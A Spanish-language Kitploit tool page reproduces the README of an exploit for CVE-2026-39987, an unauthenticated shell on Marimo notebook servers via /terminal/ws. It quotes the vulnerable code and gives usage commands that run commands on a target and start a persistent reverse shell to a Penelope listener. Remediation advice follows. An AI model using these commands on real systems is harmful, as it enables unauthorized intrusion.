Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39987 — Exploit de Marimo anterior a 0.23.0. Vulnerabilidad RCE sin autenticación previa a través del endpoint websocket: /terminal/ws. | Kitploit
Herramientas/GitHubGitHub/gbuyssens/cve-2026-39987
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Exploit de Marimo anterior a 0.23.0. Vulnerabilidad RCE sin autenticación previa a través del endpoint websocket: /terminal/ws.

Ver Repositorio
hace 18 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39987 — RCE pre-autenticación en Marimo (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Ejecución remota de código sin autenticación previa en Marimo, un servidor de notebooks reactivo de Python.
Una única conexión WebSocket no autenticada a /terminal/ws proporciona una shell PTY interactiva completa con el usuario que ejecuta el proceso de Marimo (a menudo root en Docker).

Solo laboratorio / pruebas autorizadas (HTB, CTF, proyectos con alcance por escrito).


Tabla de contenidos

  • Resumen de la vulnerabilidad
  • Causa raíz
  • Cadena de ataque
  • Versiones afectadas
  • Este repositorio
  • Instalación
  • Uso
  • Integración con Penelope
  • Remediación
  • Referencias

Resumen de la vulnerabilidad

Marimo expone una terminal integrada a través de WebSocket en:

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Otras rutas WebSocket (especialmente /ws para la interfaz del notebook) llaman correctamente a validate_auth().
/terminal/ws no lo hace. Solo comprueba:

  1. que el servidor está en modo edición
  2. que la plataforma soporta una PTY

y a continuación inmediatamente:

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

No se requiere cookie, token, contraseña ni cabecera Authorization, incluso cuando la autenticación está habilitada en la instancia.

Impacto: ejecución arbitraria de comandos sin autenticación con los privilegios del proceso de Marimo. En las imágenes de contenedor predeterminadas esto suele ser root.


Causa raíz

Archivo (árbol vulnerable): marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Compárese con el WebSocket del notebook (ws_endpoint.py), que sí aplica autenticación:

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Cadena de ataque

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Conéctate a ws(s)://target/terminal/ws sin credenciales
  2. El servidor acepta y lanza una shell respaldada por PTY
  3. Envía pulsaciones de teclado (comandos) a través del WebSocket
  4. Opcionalmente, lanza una shell inversa independiente que sobrevive al cierre del WS

Versiones afectadas

EstadoVersiones
VulnerableMarimo <= 0.20.4 (pre-fix)
CorregidoMarimo 0.23.0 y posteriores

Cualquier despliegue que exponga el WebSocket de la terminal (modo edición, PTY compatible) sin una puerta de enlace de autenticación externa está en el alcance.


Este repositorio

ArchivoRol
exploit.pyPoC: ejecución de comandos + shell inversa persistente + lanzador de Penelope
penelope.pyManejador de shell independiente (brightio/penelope)

Instalación

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py no necesita dependencias adicionales (biblioteca estándar de Python 3.6+).


Uso

1. Ejecución de un solo comando

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

Qué ocurre:

  1. Un hijo bifurcado espera brevemente y luego entrega una shell inversa independiente a través de /terminal/ws
  2. El proceso padre ejecuta Penelope en 0.0.0.0:4444
  3. Cuando llega la conexión de retorno, Penelope se adjunta automáticamente y mejora la sesión

Si es necesario

root@kitploit:~
python3 exploit.py -h

Integración con Penelope

Penelope se incluye como un script independiente (penelope.py):

  • sin instalación, solo biblioteca estándar
  • manejador de múltiples sesiones
  • mejora automática de TTY
  • subida/descarga de archivos, registro (logging), etc.

Flujo predeterminado (-p):

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

El hijo se usa a propósito: os.execv(penelope) reemplaza la imagen del proceso padre, lo que mataría un hilo en segundo plano.

Penelope manual:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Remediación

  1. Actualiza a Marimo >= 0.23.0 (pip install -U marimo)
  2. No expongas servidores de notebook en modo edición a Internet público
  3. Coloca autenticación/autorización en un proxy inverso si la aplicación debe ser accesible de forma remota
  4. Vincula a localhost / red privada; usa VPN o túneles SSH
  5. Tras una posible explotación: rota las credenciales accesibles desde el host (claves de la nube, .env, claves SSH), audita las conexiones salientes y la persistencia

Referencias

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • PR #9098 de corrección de Marimo
  • Análisis de Resecurity
  • Manejador de shell Penelope

Descargo de responsabilidad

Este proyecto es únicamente para pruebas de seguridad autorizadas, educación e investigación defensiva.
Eres responsable de cumplir con las leyes aplicables y las reglas de compromiso de tu laboratorio o cliente.

Descargar herramienta
README.md
Este archivo